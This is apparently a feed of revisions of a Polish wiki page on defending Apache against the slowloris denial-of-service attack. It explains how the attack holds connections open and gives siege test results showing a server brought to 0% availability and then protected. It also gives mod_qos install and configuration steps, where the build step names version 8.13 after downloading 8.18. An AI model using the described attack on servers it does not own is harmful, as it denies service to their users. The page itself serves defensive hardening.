&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Test wpływu ataku slowloris na serwer Apache z zabezpieczeniami (limity w qos). ==&lt;br /&gt;
&lt;br /&gt;
Serwer podlegający atakowi z zabezpieczeniami 300 jednoczesnych użytkowników.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Lifting the server siege...      done.&lt;br /&gt;
Transactions:                   9902 hits&lt;br /&gt;
Availability:                 100.00 %&lt;br /&gt;
Elapsed time:                  60.11 secs&lt;br /&gt;
Data transferred:              47.94 MB&lt;br /&gt;
Response time:                  0.29 secs&lt;br /&gt;
Transaction rate:             164.73 trans/sec&lt;br /&gt;
Throughput:                     0.80 MB/sec&lt;br /&gt;
Concurrency:                   47.74&lt;br /&gt;
Successful transactions:        5063&lt;br /&gt;
Failed transactions:               0&lt;br /&gt;
Longest transaction:           12.77&lt;br /&gt;
Shortest transaction:           0.00&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Wniosek: Jeden użytkownik (w powyższej konfiguracji) może za alokować maksymalnie 50 połączeń z jednego adresu IP, lub sieci NAT dysponującej wspólnym  IP.&lt;/div&gt;</summary>
		<author><name>Stare</name></author>
	</entry>
	<entry>
		<id>https://wiki.opzsgu.pl/index.php?title=Ochrona_przed_atakiem_slowloris_(DoS_nag%C5%82%C3%B3wk%C3%B3w_w_Apache)&amp;diff=339</id>
		<title>Ochrona przed atakiem slowloris (DoS nagłówków w Apache)</title>
		<link rel="alternate" type="text/html" href="https://wiki.opzsgu.pl/index.php?title=Ochrona_przed_atakiem_slowloris_(DoS_nag%C5%82%C3%B3wk%C3%B3w_w_Apache)&amp;diff=339"/>
		<updated>2009-10-01T16:32:50Z</updated>

		<summary type="html">&lt;p&gt;Stare: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Plik:800px-Slow Loris Female.jpg|200px|thumb|right| Slow Loris]] &lt;br /&gt;
&lt;br /&gt;
Atak pieszczotliwie nazywany slowloris należy do typów z grupy DoS.&lt;br /&gt;
&lt;br /&gt;
Jego kluczowym celem jest zmuszenie serwera www do otwarcia jak największej liczby jednoczesnych połączeń z fikcyjnymi klientami które są generowane poprzez skrypt. Serwer otwiera gniazdo nasłuchujące ale nie otrzymuje od klienta pełnego zapytania, przez co połączenie nie może być zrealizowane. Serwer zakłada automatycznie że w najbliższym czasie klient dostarczy brakujące części więc gniazdo jest cały czas otwarte i zabiera zasoby serwera.&lt;br /&gt;
&lt;br /&gt;
Całkowita blokada serwera następuje w momencie wykorzystania ustalonego odgórnie przez administratora limitu jednoczesnych połączeń.&lt;br /&gt;
&lt;br /&gt;
Skrypt co chwilę prosi o kolejną porcję informacji, co powoduje ponowne otwarcie gniazd usuniętych jako nieużywane z powodu przekroczenia limitu czasu.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Atak ten pozwala na stosunkowo szybkie zablokowanie nawet bardzo potężnego serwera przy wykorzystaniu łącza o bardzo małej przepustowości.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Następującym skryptem wykonamy atak na swój serwer, oraz sprawdzimy skuteczność mechanizmów obronnych.&lt;br /&gt;
[[Slowloris.pl_(Skrypt)| Źródło skryptu oraz przykład użycia]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ochrona przed atakiem tego typu jest prawie niemożliwa przy zastosowaniu domyślnych funkcji wbudowanych w Apache.&lt;br /&gt;
&lt;br /&gt;
Naszą linię obrony można rozgraniczyć na trzy grupy.&lt;br /&gt;
&lt;br /&gt;
*1) Drastyczne zwiększenie liczby otwartych połączeń&lt;br /&gt;
*2) Twarde ograniczenie liczby jednoczesnych połączeń z jednego adresu IP.&lt;br /&gt;
*3) Zmniejszenie czasu żywotności otwartego połączenia&lt;br /&gt;
&lt;br /&gt;
Co niosą za sobą powyższe metody?.&lt;br /&gt;
*1) Nic nie trwa wiecznie, ta metoda spowoduje tylko oddalenie punktu przepełnienia.&lt;br /&gt;
*2) Uderzy w rozległe sieci korporacyjne korzystające z technologii NAT (ucierpieć mogą niewinne osoby).&lt;br /&gt;
*3) Uderzy w osoby dysponujące słabym łączem, lub chwilowo przeciążonymi sieciami.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Najrozsądniejszym rozwiązaniem jest instalacja modułu mod-qos który pozwala na ścisłe kontrolowanie przepływam zapytań kierowanych na nasz serwer.&lt;br /&gt;
&lt;br /&gt;
Dawniej był on instalowany w celu ograniczenia transferu, dzisiaj zyskał nowe kluczowe znaczenie.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Test wpływu ataku slowloris na serwer Apache bez zabezpieczeń. ==&lt;br /&gt;
&lt;br /&gt;
Serwer nie podlegający atakowi bez zabezpieczeń 300 jednoczesnych użytkowników.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Lifting the server siege...      done.&lt;br /&gt;
Transactions:                   5756 hits&lt;br /&gt;
Availability:                  99.71 %&lt;br /&gt;
Elapsed time:                  59.69 secs&lt;br /&gt;
Data transferred:              45.79 MB&lt;br /&gt;
Response time:                  1.46 secs&lt;br /&gt;
Transaction rate:              96.43 trans/sec&lt;br /&gt;
Throughput:                     0.77 MB/sec&lt;br /&gt;
Concurrency:                  141.06&lt;br /&gt;
Successful transactions:        5755&lt;br /&gt;
Failed transactions:              17&lt;br /&gt;
Longest transaction:           29.90&lt;br /&gt;
Shortest transaction:           0.00&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ten sam serwer, po kilkunastu minutach pracy skryptu slowloris.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
      done.&lt;br /&gt;
Transactions:                      0 hits&lt;br /&gt;
Availability:                   0.00 %&lt;br /&gt;
Elapsed time:                  60.22 secs&lt;br /&gt;
Data transferred:               0.00 MB&lt;br /&gt;
Response time:                  0.00 secs&lt;br /&gt;
Transaction rate:               0.00 trans/sec&lt;br /&gt;
Throughput:                     0.00 MB/sec&lt;br /&gt;
Concurrency:                    0.00&lt;br /&gt;
Successful transactions:           0&lt;br /&gt;
Failed transactions:             304&lt;br /&gt;
Longest transaction:            0.00&lt;br /&gt;
Shortest transaction:           0.00&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Wniosek: Całkowita odmowa świadczenia usług.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Instalacja modułu wraz z konfiguracją zaprezentowana na [http://howtoforge.com/how-to-defend-slowloris-ddos-with-mod_qos-apache2-on-debian-lenny  howtoforge]  (tłumaczenie) == &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pobranie, oraz wypakowanie&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
cd /tmp/&lt;br /&gt;
wget http://sourceforge.net/projects/mod-qos/files/mod-qos/8.18/mod_qos-8.18-src.tar.gz/download&lt;br /&gt;
tar xvfz mod_qos-*&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Instalacja źródeł apache potrzebnych do kompilacji&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
apt-get install apache2-threaded-dev gcc&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kompilacja oraz instalacja&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
cd mod_qos-8.13/apache2/&lt;br /&gt;
apxs2 -i -c mod_qos.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Konfiguracja&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
cd /etc/apache2/mods-available/&lt;br /&gt;
nano qos.load&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Jako treść&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
LoadModule qos_module /usr/lib/apache2/modules/mod_qos.so&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
nano qos.conf&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Jako treść&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
## QoS Settings&lt;br /&gt;
&amp;lt;IfModule mod_qos.c&amp;gt;&lt;br /&gt;
    # handles connections from up to 100000 different IPs&lt;br /&gt;
    QS_ClientEntries 100000&lt;br /&gt;
    # will allow only 50 connections per IP&lt;br /&gt;
    QS_SrvMaxConnPerIP 50&lt;br /&gt;
    # maximum number of active TCP connections is limited to 256&lt;br /&gt;
    MaxClients              256 &lt;br /&gt;
    # disables keep-alive when 70% of the TCP connections are occupied:&lt;br /&gt;
    QS_SrvMaxConnClose      180&lt;br /&gt;
    # minimum request/response speed (deny slow clients blocking the server, ie. slowloris keeping connections open without requesting anything):&lt;br /&gt;
    QS_SrvMinDataRate       150 1200&lt;br /&gt;
    # and limit request header and body (carefull, that limits uploads and post requests too):&lt;br /&gt;
    # LimitRequestFields      30&lt;br /&gt;
    # QS_LimitRequestBody     102400&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Uruchomienie&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
a2enmod qos&lt;br /&gt;
/etc/init.d/apache2 restart&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Podgląd pracy można obserwować pod adresem&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://ip_serwera/server-status&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Test wpływu ataku slowloris na serwer Apache z zabezpieczeniami (limity w qos). ==&lt;br /&gt;
&lt;br /&gt;
Serwer podlegający atakowi z zabezpieczeniami 300 jednoczesnych użytkowników.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Lifting the server siege...      done.&lt;br /&gt;
Transactions:                   9902 hits&lt;br /&gt;
Availability:                 100.00 %&lt;br /&gt;
Elapsed time:                  60.11 secs&lt;br /&gt;
Data transferred:              47.94 MB&lt;br /&gt;
Response time:                  0.29 secs&lt;br /&gt;
Transaction rate:             164.73 trans/sec&lt;br /&gt;
Throughput:                     0.80 MB/sec&lt;br /&gt;
Concurrency:                   47.74&lt;br /&gt;
Successful transactions:        5063&lt;br /&gt;
Failed transactions:               0&lt;br /&gt;
Longest transaction:           12.77&lt;br /&gt;
Shortest transaction:           0.00&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Stare</name></author>
	</entry>
	<entry>
		<id>https://wiki.opzsgu.pl/index.php?title=Ochrona_przed_atakiem_slowloris_(DoS_nag%C5%82%C3%B3wk%C3%B3w_w_Apache)&amp;diff=338</id>
		<title>Ochrona przed atakiem slowloris (DoS nagłówków w Apache)</title>
		<link rel="alternate" type="text/html" href="https://wiki.opzsgu.pl/index.php?title=Ochrona_przed_atakiem_slowloris_(DoS_nag%C5%82%C3%B3wk%C3%B3w_w_Apache)&amp;diff=338"/>
		<updated>2009-10-01T16:28:10Z</updated>

		<summary type="html">&lt;p&gt;Stare: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Plik:800px-Slow Loris Female.jpg|200px|thumb|right| Slow Loris]] &lt;br /&gt;
&lt;br /&gt;
Atak pieszczotliwie nazywany slowloris należy do typów z grupy DoS.&lt;br /&gt;
&lt;br /&gt;
Jego kluczowym celem jest zmuszenie serwera www do otwarcia jak największej liczby jednoczesnych połączeń z fikcyjnymi klientami które są generowane poprzez skrypt. Serwer otwiera gniazdo nasłuchujące ale nie otrzymuje od klienta pełnego zapytania, przez co połączenie nie może być zrealizowane. Serwer zakłada automatycznie że w najbliższym czasie klient dostarczy brakujące części więc gniazdo jest cały czas otwarte i zabiera zasoby serwera.&lt;br /&gt;
&lt;br /&gt;
Całkowita blokada serwera następuje w momencie wykorzystania ustalonego odgórnie przez administratora limitu jednoczesnych połączeń.&lt;br /&gt;
&lt;br /&gt;
Skrypt co chwilę prosi o kolejną porcję informacji, co powoduje ponowne otwarcie gniazd usuniętych jako nieużywane z powodu przekroczenia limitu czasu.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Atak ten pozwala na stosunkowo szybkie zablokowanie nawet bardzo potężnego serwera przy wykorzystaniu łącza o bardzo małej przepustowości.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Następującym skryptem wykonamy atak na swój serwer, oraz sprawdzimy skuteczność mechanizmów obronnych.&lt;br /&gt;
[[Slowloris.pl_(Skrypt)| Źródło skryptu oraz przykład użycia]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ochrona przed atakiem tego typu jest prawie niemożliwa przy zastosowaniu domyślnych funkcji wbudowanych w Apache.&lt;br /&gt;
&lt;br /&gt;
Naszą linię obrony można rozgraniczyć na trzy grupy.&lt;br /&gt;
&lt;br /&gt;
*1) Drastyczne zwiększenie liczby otwartych połączeń&lt;br /&gt;
*2) Twarde ograniczenie liczby jednoczesnych połączeń z jednego adresu IP.&lt;br /&gt;
*3) Zmniejszenie czasu żywotności otwartego połączenia&lt;br /&gt;
&lt;br /&gt;
Co niosą za sobą powyższe metody?.&lt;br /&gt;
*1) Nic nie trwa wiecznie, ta metoda spowoduje tylko oddalenie punktu przepełnienia.&lt;br /&gt;
*2) Uderzy w rozległe sieci korporacyjne korzystające z technologii NAT (ucierpieć mogą niewinne osoby).&lt;br /&gt;
*3) Uderzy w osoby dysponujące słabym łączem, lub chwilowo przeciążonymi sieciami.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Najrozsądniejszym rozwiązaniem jest instalacja modułu mod-qos który pozwala na ścisłe kontrolowanie przepływam zapytań kierowanych na nasz serwer.&lt;br /&gt;
&lt;br /&gt;
Dawniej był on instalowany w celu ograniczenia transferu, dzisiaj zyskał nowe kluczowe znaczenie.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Test wpływu ataku slowloris na serwer Apache bez zabezpieczeń. ==&lt;br /&gt;
&lt;br /&gt;
Serwer nie podlegający atakowi bez zabezpieczeń 300 jednoczesnych użytkowników.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Lifting the server siege...      done.&lt;br /&gt;
Transactions:                   5756 hits&lt;br /&gt;
Availability:                  99.71 %&lt;br /&gt;
Elapsed time:                  59.69 secs&lt;br /&gt;
Data transferred:              45.79 MB&lt;br /&gt;
Response time:                  1.46 secs&lt;br /&gt;
Transaction rate:              96.43 trans/sec&lt;br /&gt;
Throughput:                     0.77 MB/sec&lt;br /&gt;
Concurrency:                  141.06&lt;br /&gt;
Successful transactions:        5755&lt;br /&gt;
Failed transactions:              17&lt;br /&gt;
Longest transaction:           29.90&lt;br /&gt;
Shortest transaction:           0.00&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ten sam serwer, po kilkunastu minutach pracy skryptu slowloris.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
      done.&lt;br /&gt;
Transactions:                      0 hits&lt;br /&gt;
Availability:                   0.00 %&lt;br /&gt;
Elapsed time:                  60.22 secs&lt;br /&gt;
Data transferred:               0.00 MB&lt;br /&gt;
Response time:                  0.00 secs&lt;br /&gt;
Transaction rate:               0.00 trans/sec&lt;br /&gt;
Throughput:                     0.00 MB/sec&lt;br /&gt;
Concurrency:                    0.00&lt;br /&gt;
Successful transactions:           0&lt;br /&gt;
Failed transactions:             304&lt;br /&gt;
Longest transaction:            0.00&lt;br /&gt;
Shortest transaction:           0.00&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Wniosek: Całkowita odmowa świadczenia usług.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Instalacja modułu wraz z konfiguracją zaprezentowana na [http://howtoforge.com/how-to-defend-slowloris-ddos-with-mod_qos-apache2-on-debian-lenny Opis na HowToForge]&lt;br /&gt;
&lt;br /&gt;
Pobranie, oraz wypakowanie&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
cd /tmp/&lt;br /&gt;
wget http://sourceforge.net/projects/mod-qos/files/mod-qos/8.18/mod_qos-8.18-src.tar.gz/download&lt;br /&gt;
tar xvfz mod_qos-*&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Instalacja źródeł apache potrzebnych do kompilacji&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
apt-get install apache2-threaded-dev gcc&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kompilacja oraz instalacja&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
cd mod_qos-8.13/apache2/&lt;br /&gt;
apxs2 -i -c mod_qos.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Konfiguracja&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
cd /etc/apache2/mods-available/&lt;br /&gt;
nano qos.load&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Jako treść&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
LoadModule qos_module /usr/lib/apache2/modules/mod_qos.so&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
nano qos.conf&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Jako treść&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
## QoS Settings&lt;br /&gt;
&amp;lt;IfModule mod_qos.c&amp;gt;&lt;br /&gt;
    # handles connections from up to 100000 different IPs&lt;br /&gt;
    QS_ClientEntries 100000&lt;br /&gt;
    # will allow only 50 connections per IP&lt;br /&gt;
    QS_SrvMaxConnPerIP 50&lt;br /&gt;
    # maximum number of active TCP connections is limited to 256&lt;br /&gt;
    MaxClients              256 &lt;br /&gt;
    # disables keep-alive when 70% of the TCP connections are occupied:&lt;br /&gt;
    QS_SrvMaxConnClose      180&lt;br /&gt;
    # minimum request/response speed (deny slow clients blocking the server, ie. slowloris keeping connections open without requesting anything):&lt;br /&gt;
    QS_SrvMinDataRate       150 1200&lt;br /&gt;
    # and limit request header and body (carefull, that limits uploads and post requests too):&lt;br /&gt;
    # LimitRequestFields      30&lt;br /&gt;
    # QS_LimitRequestBody     102400&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Uruchomienie&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
a2enmod qos&lt;br /&gt;
/etc/init.d/apache2 restart&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Podgląd pracy można obserwować pod adresem&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
http://ip_serwera/server-status&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Test wpływu ataku slowloris na serwer Apache z zabezpieczeniami (limity w qos). ==&lt;br /&gt;
&lt;br /&gt;
Serwer podlegający atakowi z zabezpieczeniami 300 jednoczesnych użytkowników.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Lifting the server siege...      done.&lt;br /&gt;
Transactions:                   9902 hits&lt;br /&gt;
Availability:                 100.00 %&lt;br /&gt;
Elapsed time:                  60.11 secs&lt;br /&gt;
Data transferred:              47.94 MB&lt;br /&gt;
Response time:                  0.29 secs&lt;br /&gt;
Transaction rate:             164.73 trans/sec&lt;br /&gt;
Throughput:                     0.80 MB/sec&lt;br /&gt;
Concurrency:                   47.74&lt;br /&gt;
Successful transactions:        5063&lt;br /&gt;
Failed transactions:               0&lt;br /&gt;
Longest transaction:           12.77&lt;br /&gt;
Shortest transaction:           0.00&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Stare</name></author>
	</entry>
	<entry>
		<id>https://wiki.opzsgu.pl/index.php?title=Ochrona_przed_atakiem_slowloris_(DoS_nag%C5%82%C3%B3wk%C3%B3w_w_Apache)&amp;diff=337</id>
		<title>Ochrona przed atakiem slowloris (DoS nagłówków w Apache)</title>
		<link rel="alternate" type="text/html" href="https://wiki.opzsgu.pl/index.php?title=Ochrona_przed_atakiem_slowloris_(DoS_nag%C5%82%C3%B3wk%C3%B3w_w_Apache)&amp;diff=337"/>
		<updated>2009-10-01T15:50:30Z</updated>

		<summary type="html">&lt;p&gt;Stare: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[Plik:800px-Slow Loris Female.jpg|200px|thumb|right| Slow Loris]] &lt;br /&gt;
&lt;br /&gt;
Atak pieszczotliwie nazywany slowloris należy do typów z grupy DoS.&lt;br /&gt;
&lt;br /&gt;
Jego kluczowym celem jest zmuszenie serwera www do otwarcia jak największej liczby jednoczesnych połączeń z fikcyjnymi klientami które są generowane poprzez skrypt. Serwer otwiera gniazdo nasłuchujące ale nie otrzymuje od klienta pełnego zapytania, przez co połączenie nie może być zrealizowane. Serwer zakłada automatycznie że w najbliższym czasie klient dostarczy brakujące części więc gniazdo jest cały czas otwarte i zabiera zasoby serwera.&lt;br /&gt;
&lt;br /&gt;
Całkowita blokada serwera następuje w momencie wykorzystania ustalonego odgórnie przez administratora limitu jednoczesnych połączeń.&lt;br /&gt;
&lt;br /&gt;
Skrypt co chwilę prosi o kolejną porcję informacji, co powoduje ponowne otwarcie gniazd usuniętych jako nieużywane z powodu przekroczenia limitu czasu.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Atak ten pozwala na stosunkowo szybkie zablokowanie nawet bardzo potężnego serwera przy wykorzystaniu łącza o bardzo małej przepustowości.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Następującym skryptem wykonamy atak na swój serwer, oraz sprawdzimy skuteczność mechanizmów obronnych.&lt;br /&gt;
[[Slowloris.pl_(Skrypt)| Źródło skryptu oraz przykład użycia]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ochrona przed atakiem tego typu jest prawie niemożliwa przy zastosowaniu domyślnych funkcji wbudowanych w Apache.&lt;br /&gt;
&lt;br /&gt;
Naszą linię obrony można rozgraniczyć na trzy grupy.&lt;br /&gt;
&lt;br /&gt;
*1) Drastyczne zwiększenie liczby otwartych połączeń&lt;br /&gt;
*2) Twarde ograniczenie liczby jednoczesnych połączeń z jednego adresu IP.&lt;br /&gt;
*3) Zmniejszenie czasu żywotności otwartego połączenia&lt;br /&gt;
&lt;br /&gt;
Co niosą za sobą powyższe metody?.&lt;br /&gt;
*1) Nic nie trwa wiecznie, ta metoda spowoduje tylko oddalenie punktu przepełnienia.&lt;br /&gt;
*2) Uderzy w rozległe sieci korporacyjne korzystające z technologii NAT (ucierpieć mogą niewinne osoby).&lt;br /&gt;
*3) Uderzy w osoby dysponujące słabym łączem, lub chwilowo przeciążonymi sieciami.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Najrozsądniejszym rozwiązaniem jest instalacja modułu mod-qos który pozwala na ścisłe kontrolowanie przepływam zapytań kierowanych na nasz serwer.&lt;br /&gt;
&lt;br /&gt;
Dawniej był on instalowany w celu ograniczenia transferu, dzisiaj zyskał nowe kluczowe znaczenie.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Test wpływu ataku slowloris na serwer Apache bez zabezpieczeń. ==&lt;br /&gt;
&lt;br /&gt;
Serwer nie podlegający atakowi bez zabezpieczeń 300 jednoczesnych użytkowników.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Lifting the server siege...      done.&lt;br /&gt;
Transactions:                   5756 hits&lt;br /&gt;
Availability:                  99.71 %&lt;br /&gt;
Elapsed time:                  59.69 secs&lt;br /&gt;
Data transferred:              45.79 MB&lt;br /&gt;
Response time:                  1.46 secs&lt;br /&gt;
Transaction rate:              96.43 trans/sec&lt;br /&gt;
Throughput:                     0.77 MB/sec&lt;br /&gt;
Concurrency:                  141.06&lt;br /&gt;
Successful transactions:        5755&lt;br /&gt;
Failed transactions:              17&lt;br /&gt;
Longest transaction:           29.90&lt;br /&gt;
Shortest transaction:           0.00&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ten sam serwer, po kilkunastu minutach pracy skryptu slowloris.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
      done.&lt;br /&gt;
Transactions:                      0 hits&lt;br /&gt;
Availability:                   0.00 %&lt;br /&gt;
Elapsed time:                  60.22 secs&lt;br /&gt;
Data transferred:               0.00 MB&lt;br /&gt;
Response time:                  0.00 secs&lt;br /&gt;
Transaction rate:               0.00 trans/sec&lt;br /&gt;
Throughput:                     0.00 MB/sec&lt;br /&gt;
Concurrency:                    0.00&lt;br /&gt;
Successful transactions:           0&lt;br /&gt;
Failed transactions:             304&lt;br /&gt;
Longest transaction:            0.00&lt;br /&gt;
Shortest transaction:           0.00&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Wniosek: Całkowita odmowa świadczenia usług.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Instalacja modułu wraz z konfiguracją zaprezentowana na [http://howtoforge.com/how-to-defend-slowloris-ddos-with-mod_qos-apache2-on-debian-lenny Opis na HowToForge]&lt;br /&gt;
&lt;br /&gt;
Pobranie, oraz wypakowanie&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
cd /tmp/&lt;br /&gt;
wget http://sourceforge.net/projects/mod-qos/files/mod-qos/8.18/mod_qos-8.18-src.tar.gz/download&lt;br /&gt;
tar xvfz mod_qos-*&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Instalacja źródeł apache potrzebnych do kompilacji&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
apt-get install apache2-threaded-dev gcc&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kompilacja oraz instalacja&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
cd mod_qos-8.13/apache2/&lt;br /&gt;
apxs2 -i -c mod_qos.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Konfiguracja&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
cd /etc/apache2/mods-available/&lt;br /&gt;
nano qos.load&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Jako treść&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
LoadModule qos_module /usr/lib/apache2/modules/mod_qos.so&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
nano qos.conf&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Jako treść&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
## QoS Settings&lt;br /&gt;
&amp;lt;IfModule mod_qos.c&amp;gt;&lt;br /&gt;
    # handles connections from up to 100000 different IPs&lt;br /&gt;
    QS_ClientEntries 100000&lt;br /&gt;
    # will allow only 50 connections per IP&lt;br /&gt;
    QS_SrvMaxConnPerIP 50&lt;br /&gt;
    # maximum number of active TCP connections is limited to 256&lt;br /&gt;
    MaxClients              256 &lt;br /&gt;
    # disables keep-alive when 70% of the TCP connections are occupied:&lt;br /&gt;
    QS_SrvMaxConnClose      180&lt;br /&gt;
    # minimum request/response speed (deny slow clients blocking the server, ie. slowloris keeping connections open without requesting anything):&lt;br /&gt;
    QS_SrvMinDataRate       150 1200&lt;br /&gt;
    # and limit request header and body (carefull, that limits uploads and post requests too):&lt;br /&gt;
    # LimitRequestFields      30&lt;br /&gt;
    # QS_LimitRequestBody     102400&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
